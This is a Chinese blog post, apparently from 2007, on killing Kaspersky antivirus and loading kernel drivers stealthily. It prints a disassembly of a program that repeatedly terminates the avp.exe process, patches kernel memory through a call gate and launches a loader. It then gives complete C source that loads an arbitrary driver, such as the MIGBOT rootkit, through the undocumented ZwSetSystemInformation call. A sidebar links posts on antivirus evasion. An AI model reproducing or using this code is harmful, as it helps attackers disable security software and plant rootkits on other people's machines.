ZWSETSYSTEMINFORMATION过卡巴

通过ZwSetSystemInformation在驱动中加载驱动 环境:win7 32 ,材料: ntoskrnl.exe , spldr.sys spsys.sys 看到一个文件叫spldr.sys,loader for security processor,一个加载器。于是就进去看看如何实现的。在spldr.sys 里面看到字符串 SystemRoot\system32\drivers\spsys.sys ,应该就是要加载这个驱动了。再看字符串的引用位置,发现调用ZwSetSystemInformation,应该就是通过这个函数来加载驱动的。下面是调用情况: . 阅读详情
一段算是针对卡巴的程序
2007-07-08 22:06

OD代码:
0040130B    |.    68 54304000     push      00403054                           ; /Arg1 = 00403054 ASCII "avp.exe"
00401310    |.    E8 4FFEFFFF     call      00401164                           ; /结束卡巴.00401164
00401315    |.    A3 38304000     mov       dword ptr [403038], eax
0040131A    |.    FF35 38304000 push      dword ptr [403038]                 ; /ProcessId = 0
00401320    |.    6A 00           push      0                                  ; |Inheritable = FALSE
00401322    |.    6A 01           push      1                                  ; |Access = TERMINATE
00401324    |.    E8 2B010000     call      <jmp.&kernel32.OpenProcess>        ; /OpenProcess
00401329    |.    8BD8            mov       ebx, eax
0040132B    |.    6A FF           push      -1                                 ; /ExitCode = FFFFFFFF (-1.)
0040132D    |.    53              push      ebx                                ; |hProcess
0040132E    |.    E8 3F010000     call      <jmp.&kernel32.TerminateProcess> ; /TerminateProcess
00401333    |.    53              push      ebx                                ; /hObject
00401334    |.    E8 FD000000     call      <jmp.&kernel32.CloseHandle>        ; /CloseHandle
00401339    |.    68 C8000000     push      0C8                                ; /Timeout = 200. ms
0040133E    |.    E8 29010000     call      <jmp.&kernel32.Sleep>              ; /Sleep
00401343    |.    68 5C304000     push      0040305C                           ; /Arg1 = 0040305C ASCII "avp.exe"
00401348    |.    E8 17FEFFFF     call      00401164                           ; /结束卡巴.00401164
0040134D    |.    A3 38304000     mov       dword ptr [403038], eax
00401352    |.    FF35 38304000 push      dword ptr [403038]                 ; /ProcessId = 0
00401358    |.    6A 00           push      0                                  ; |Inheritable = FALSE
0040135A    |.    6A 01           push      1                                  ; |Access = TERMINATE
0040135C    |.    E8 F3000000     call      <jmp.&kernel32.OpenProcess>        ; /OpenProcess
00401361    |.    8BD8            mov       ebx, eax
00401363    |.    6A FF           push      -1                                 ; /ExitCode = FFFFFFFF (-1.)
00401365    |.    53              push      ebx                                ; |hProcess
00401366    |.    E8 07010000     call      <jmp.&kernel32.TerminateProcess> ; /TerminateProcess
0040136B    |.    53              push      ebx                                ; /hObject
0040136C    |.    E8 C5000000     call      <jmp.&kernel32.CloseHandle>        ; /CloseHandle
00401371    |.    68 C8000000     push      0C8                                ; /Timeout = 200. ms
00401376    |.    E8 F1000000     call      <jmp.&kernel32.Sleep>              ; /Sleep
0040137B    |.    68 64304000     push      00403064                           ; /Arg1 = 00403064 ASCII "avp.exe"
00401380    |.    E8 DFFDFFFF     call      00401164                           ; /结束卡巴.00401164
00401385    |.    A3 38304000     mov       dword ptr [403038], eax
0040138A    |.    FF35 38304000 push      dword ptr [403038]                 ; /ProcessId = 0
00401390    |.    6A 00           push      0                                  ; |Inheritable = FALSE
00401392    |.    6A 01           push      1                                  ; |Access = TERMINATE
00401394    |.    E8 BB000000     call      <jmp.&kernel32.OpenProcess>        ; /OpenProcess
00401399    |.    8BD8            mov       ebx, eax
0040139B    |.    6A FF           push      -1                                 ; /ExitCode = FFFFFFFF (-1.)
0040139D    |.    53              push      ebx                                ; |hProcess
0040139E    |.    E8 CF000000     call      <jmp.&kernel32.TerminateProcess> ; /TerminateProcess
004013A3    |.    53              push      ebx                                ; /hObject
004013A4    |.    E8 8D000000     call      <jmp.&kernel32.CloseHandle>        ; /CloseHandle
004013A9    |.    68 C8000000     push      0C8                                ; /Timeout = 200. ms
004013AE    |.    E8 B9000000     call      <jmp.&kernel32.Sleep>              ; /Sleep
004013B3    |.    5F              pop       edi
004013B4    |.    5E              pop       esi
004013B5    |.    5B              pop       ebx
004013B6    /.    C3              retn
004013B7 >/$    6A 01           push      1                                  ; /ShowState = SW_SHOWNORMAL
004013B9    |.    68 6C304000     push      0040306C                           ; |CmdLine = "Call.dat"
004013BE    |.    E8 C1000000     call      <jmp.&kernel32.WinExec>            ; /WinExec
004013C3    |.    E8 75FEFFFF     call      0040123D
004013C8    |.    0BC0            or        eax, eax
004013CA    |.    74 62           je        short 0040142E
004013CC    |.    A3 09304000     mov       dword ptr [403009], eax
004013D1    |.    FF1D 3C304000 call      far fword ptr [40303C]
004013D7    |.    8BC4            mov       eax, esp
004013D9    |.    8B6424 04       mov       esp, dword ptr [esp+4]
004013DD    |.    50              push      eax
004013DE    |.    A1 09304000     mov       eax, dword ptr [403009]
004013E3    |.    C680 B1B70100>mov       byte ptr [eax+1B7B1], 0EB
004013EA    |.    C680 86CA0100>mov       byte ptr [eax+1CA86], 0EB
004013F1    |.    5C              pop       esp
004013F2    |.    68 F8134000     push      004013F8
004013F7    |.    CB              retf                                       ;    RET 用作跳转到 004013F8
004013F8    |>    6A 00           push      0                                  ; /pModule = NULL
004013FA    |.    E8 4F000000     call      <jmp.&kernel32.GetModuleHandleA> ; /GetModuleHandleA
004013FF    |.    A3 78304000     mov       dword ptr [403078], eax
00401404    |.    68 D0070000     push      7D0                                ; /Timeout = 2000. ms
00401409    |.    E8 5E000000     call      <jmp.&kernel32.Sleep>              ; /Sleep
0040140E    |.    E8 F5FEFFFF     call      00401308
00401413    |.    E8 F0FEFFFF     call      00401308
00401418    |.    E8 EBFEFFFF     call      00401308
0040141D    |.    6A 0A           push      0A                                 ; /Arg4 = 0000000A
0040141F    |.    6A 00           push      0                                  ; |Arg3 = 00000000
00401421    |.    6A 00           push      0                                  ; |Arg2 = 00000000
00401423    |.    FF35 78304000 push      dword ptr [403078]                 ; |Arg1 = 00000000
00401429    |.    E8 D2FBFFFF     call      00401000                           ; /结束卡巴.00401000
0040142E    |>    6A 00           push      0                                  ; /ExitCode = 0
00401430    /.    E8 0D000000     call      <jmp.&kernel32.ExitProcess>        ; /ExitProcess

而Call.dat通过ZwSetSystemInformation(这种方法用的不太多吧)加载驱动C:/MIGBOT.SYS
在邪八找到了一段代码,又学到东西了:

#include <windows.h>
#include <stdio.h>
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define SystemLoadAndCallImage 38

typedef struct _UNICODE_STRING {
      USHORT Length;
      USHORT MaximumLength;
      PVOID Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef unsigned long NTSTATUS;

typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
{
      UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;

typedef DWORD (CALLBACK* ZWSETSYSTEMINFORMATION)(DWORD, PVOID, ULONG);
ZWSETSYSTEMINFORMATION ZwSetSystemInformation;
typedef DWORD (CALLBACK* RTLINITUNICODESTRING)(PUNICODE_STRING,PCWSTR );
RTLINITUNICODESTRING RtlInitUnicodeString;
typedef DWORD (CALLBACK* RTLANSISTRINGTOUNICODESTRING)(PVOID, PVOID,DWORD);
RTLANSISTRINGTOUNICODESTRING RtlAnsiStringToUnicodeString;

int main(int argc, char *argv[])
{
      SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
      UNICODE_STRING TmpBuff;
      char      szDrvFullPath[256],szTmp[256];
      int iBuffLen;
    
      printf("Load driver with ZwSetSystemInformation( )/r/n");
      printf("Date: 8th May 2007/r/n");
      printf("Modifed by: GaRY <wofeiwo_at_gmail_dot_com>/r/n/r/n");
      if(argc != 2 || stricmp(argv[1], "-h") ==0 || stricmp(argv[1], "-?") ==0 || stricmp(argv[1], "/?") ==0)
      {
          printf("Usage: %s <DriverPath>/r/n", argv[0]);
          exit(-1);
      }

      // 从ntll.dll获取函数
      if( !(RtlInitUnicodeString = (RTLINITUNICODESTRING) GetProcAddress( GetModuleHandle("ntdll.dll"),    "RtlInitUnicodeString" )) )  
      {
          printf( "GetProcAddress(/"RtlInitUnicodeString/") Error:%d/n", GetLastError() );
          exit(1);
      }
      if( !(ZwSetSystemInformation = (ZWSETSYSTEMINFORMATION) GetProcAddress( GetModuleHandle("ntdll.dll"), "ZwSetSystemInformation" )) )
      {
          printf( "GetProcAddress(/"ZwSetSystemInformation/") Error:%d/n", GetLastError() );
          exit(1);
      }
      if( !(RtlAnsiStringToUnicodeString = (RTLANSISTRINGTOUNICODESTRING) GetProcAddress( GetModuleHandle("ntdll.dll"), "RtlAnsiStringToUnicodeString" )) )
      {
          printf( "GetProcAddress(/"ZwSetSystemInformation/") Error:%d/n", GetLastError() );
          exit(1);
      }

      GetFullPathName(argv[1], 256, szTmp, NULL);  
      printf("Loading driver: %s/r/n", szTmp);
      iBuffLen = sprintf(szDrvFullPath, "//??//%s", szTmp);
      szDrvFullPath[iBuffLen]=0;
      TmpBuff.Buffer = (PVOID)szDrvFullPath;
      TmpBuff.Length = iBuffLen;
      RtlAnsiStringToUnicodeString(&(GregsImage.ModuleName),&TmpBuff,1);

      if( NT_SUCCESS( ZwSetSystemInformation( SystemLoadAndCallImage, &GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ))      //加载进内核空间
      {
          printf("Driver: %s loaded./r/n", szDrvFullPath);
      }
      else
      {
          printf("Driver: %s not loaded./r/n", szDrvFullPath);
      }
      return true;
}

 
动态加载驱动程序源代码 源代码包含三种不同的驱动加载方法,使用ZwSetSystemInformation函数加载驱动,使用NtLoadDriver函数加载驱动,使用服务控制管理器加载驱动,还包括三种线程注入技术,使用RtlCreateUserThread 函数注入线程,使用CreateRemoteThread函数注入线程,使用NtCreateThreadEx函数注入线程,源代码包含C,C#的demo 立即下载

相关推荐

sleep 免杀

sleep 过NOD 卡巴免杀 代码很详细 很有思考的思路

zwSetSystemInformation加载驱动

zwSetSystemInformation函数是个未公开的函数,调用38号会加载驱动,对应的第二个参数为SYSTEM_LOAD_AND_CALL_IMAGE结构体,第三个参数为SYSTEM_LOAD_AND_CALL_IMAGE结构体的长度.. #include #include #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >

小驹的专栏 4699

过卡巴360escan的主动防御代码

可成功添加自启动项不被杀软阻止

ZWSetSystemInformation加载驱动

zwSetSystemInformation函数是个未公开的函数,调用38号会加载驱动,对应的第二个参数为SYSTEM_LOAD_AND_CALL_IMAGE结构体,第三个参数为SYSTEM_LOAD_AND_CALL_IMAGE结构体的长度.. [cpp]view plaincopyprint? #include<...

weixin_34389926的博客 365

VOS3000线路对接、路由配置与路由分析操作教程

通过本教程,你应该已经掌握了VOS3000的线路对接、路由配置和路由分析的基本操作。添加备用路由:为常用前缀添加备用路由,确保在主路由失效时呼叫仍能正常进行。进入线路管理:点击“系统管理” -> “线路管理” -> “添加线路”。查看日志:在“系统日志”中查看路由选择情况,确保路由配置正确。失败原因:查看失败呼叫的原因(如“无应答”、“线路忙”等)。线路选择:选择之前添加的线路(如“供应商A”)。保存并启用:填写完毕后,点击“保存”并启用路由。路由名称:自定义一个名称(如“路由A”)。

AI_wx_3307623172的博客 2975

人形机器人五大核心零部件技术解析与国产化实况

人形机器人并非简单机械集成,而是物理、能量、感知、决策与执行五层系统毫秒级协同的复杂体。其性能瓶颈往往不在于整机算法,而深植于谐波减速器的刚度稳定性、无框力矩电机的功率密度与温升控制、六维力传感器的动态响应与温漂抑制、运动控制器的实时OS生态及灵巧手的多指协同精度等底层硬件能力。这些部件共同构成整机68.3%的成本,且国产化率差异显著——谐波减速器达72%,而高精度力矩传感器仍受制于日德厂商。本文聚焦‘谐波减速器’和‘六维力传感器’两大热词,从材料工艺、参数定义、失效模式到产线验证,揭示真正卡脖子的技术关卡

weixin_29065959的博客 408

一个加载驱动的API - ZwSetSystemInformation

ZwSetSystemInformation( IN SYSTEM_IMFORMATION_CALSS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength); 第一个参数:SystemInformationClass:将被设置的系统信息的类型,值为SYSTEM_IMFORM...

4SecNet团队专栏 725

单总线CPU设计(变长指令周期3级时序)(HUST)(头歌实验)

利用比较器等功能模块将32位MIPS 指令字译码生成LW、SW、BEQ、SLT、ADDI、OtherInstr信号也就是利用比较器将指令字转换为译码信号,OP与不同信号对应(查询MIPS手册得知) 16 进制 :23 是 2进制: 00100011 ,把获得的OP,Func,和常数比对,相同输出1.按照题目要求填写表格,使用logisim的组合逻辑电路分析功能,当然也可以直接再logisim中写真值表。单总线采用变长指令周期,不同指令周期数不同,节拍数可变化。写的excel表格最终生成电路(当然 需要先把

xuxuaifeifei的博客 1万+

ZwSetSystemInformation的使用

實驗對象:卡巴7.0.0.125實驗函數:ZwSetSystemInformation實驗內容:繞過卡吧裝驅動(多麽恐怖的事),結果將會使系統失去防禦 // TestKisOfZwSetSystemInformation.cpp : Defines the entry point for the console application.// #include #

2238

英特尔® NUC迷你电脑实现无人值守自动开机配置指南

本文详细介绍了如何配置英特尔® NUC迷你电脑实现无人值守自动开机功能。从BIOS设置到操作系统级配置,涵盖硬件兼容性确认、电源恢复功能设置及常见问题解决,帮助用户轻松实现设备断电后自动恢复运行,适用于家庭服务器、企业终端等多种场景。

weixin_42638178的博客 475

Windows下用Python调用科大讯飞语音唤醒SDK的避坑指南(附完整代码)

本文详细介绍了在Windows平台使用Python调用科大讯飞语音唤醒SDK的全流程,包括环境配置、核心代码实现、典型问题解决方案及进阶开发技巧。通过完整的代码示例和避坑指南,帮助开发者快速集成语音唤醒功能,提升开发效率。

u0v1w2x3的博客 406

卡巴のZwSetSystemInformation的心寒

ZwSetSystemInformation的使用,卡巴7.0.0.125的失誤.前提:好几個月前有人公布了點卡吧的失誤,當時我沒留意,前天復習好無聊,試驗了一下結果嚇了一跳.好似現在中國都是用7.0.0.125這個版本的,危險,雖然7.0.1.133已經封了這個函數了不過是英文版,沒多少人去用吧?好了,下麵直接寫源碼并解析,相信對病毒有興趣的朋友會懂吧,又可以寫一個AV終結者類的病毒了.(源

啤梨Lily的 world 1799

MQTT在智能家居中的实战:用Android手机控制ESP8266设备(基于EMQX)

本文详细介绍了如何利用MQTT协议构建一个完整的智能家居控制系统,通过Android手机App远程操控ESP8266设备。文章提供了从EMQX服务器部署、ESP8266端Arduino固件开发到Android客户端搭建的完整实战指南,并深入探讨了系统联调、稳定性优化与安全加固等关键环节,为物联网开发者提供了一套可复用的解决方案。

ujm567890的博客 457

卡巴斯基7.0.1.227 最新版终于封了ZwSetSystemInformation了

KAV /KIS 最新7.0.1.227    Beta 版封了ZwSetSystemInformation 、HIVE写注册表、ZwSystemDebugControl等方法,嘿嘿,有些人得郁闷一阵子了~这么晚才封,效率够低的。不过方法还是有的,哈哈~ 

1072

(四)激光线扫描-光平面标定

激光发射器投射出一条线,形成的一个扇形区域平面就是光平面,也叫光刀面,与物体相交就形成了一道线激光。如果物体形状不是规则的,自然相交的线就会是一条蜿蜒曲折的线条。AxByCzD0AxByCzD0从而可以获得图像线激光上像素点的深度。💡 注意:平面方程是在同一个坐标系下定义的(如相机坐标系),所以一旦激光平面标定完成之后,激光器和相机的相对位置就必须固定不动了。

FlyWine的博客 6143

HTML炫酷烟花④(完整代码)

HTML语言实现炫酷烟花的完整代码。

AIGC 9万+

ZwSetSystemInformation的SystemLoadAndCallImage 加载驱动的缺陷

绕过监控进入ring0安装驱动这部分是重中之重。由于几乎每个主动防御系统都会监控未知驱动的加载和试图进入ring0的举动, 而我们在第一,第二和第三部分绕过主动防御要做的处理,都必须需要ring0权限。因此监控进入ring0,是一个独立的话题,也是我们实现前三个部分需要的条件。直接添加注册表项,ZwLoadDriver安装驱动,是几乎要被任何主动防御系统报警。必须要采用一些隐蔽的或者是为人不知的方

xuplus的专栏 2491

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

ZwSetSystemInformation释疑

ZwSetSystemInformation比较特殊,用了那段经典的加载方法,会发现老是加载不成功,到底成不成呢?我用VMWARE+WinDbg测试了,lm,发现服务列表里面是有了的,但是dbgview没有输出。在这里(http://hi.baidu.com/hypkb/blog/item/fe58b7830b377498f603a6f4.html)找到这样一段话: 起初是在那本书上面看到的,可惜怎么试都是失败,本身很简单就调调API的问题,再后来看到这篇:用SystemLoadAndCallImage加载

Rookie Rock 1662

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

编写自己的驱动加载程序

最近想自己写个驱动加载程序。(平常用的加载程序不能拖动选择文件) 于是梳理一下驱动加载的两种方法 代码和程序也贴在github一份。 一般加载驱动的步骤为 打开服务控制器 根据任务条件创建服务 打开设备或服务 设置设备或者服务的状态. 清理工作(关闭服务或者设备的句柄) 需要的函数: 通过OpenSCManager函数打开SCM,获取其句柄 通过CreateService函数利用SCM句柄创建一个服务 通过ControlService传入的标志位安装启动服务等等。 两步安装驱动: SC_HANDLE sh

SharenFish的博客 1452

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

加载windows驱动的几种方式

windows api加载驱动的几种方式:

要把所有那些负面的信息当做对自身行为的评价,而不是对自身价值的评判。 3374

用ZwSetSystemInformation函数的SystemLoadAndCallImage调用驱动

//////////////////////////////////////// // New Deployment Module for rootkit 040 // ------------------------------------- // -Greg Hoglund http://www.rootkit.com /////////////////////////////...

weixin_33989780的博客 637

hook ZwSetSystemTime 保护系统时间

#include #include #include #include #include "systimeprotectsys.h"#define NTDEVICE_NAME L"//Device//systimeprotectsys"#define DOSLINK_NAME L"//DosDevices//s

1769
上一篇: 修改PEB结构绕防火墙
下一篇: 在Kernel mode下绕过Outpost Firewall 3.x和4.0
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值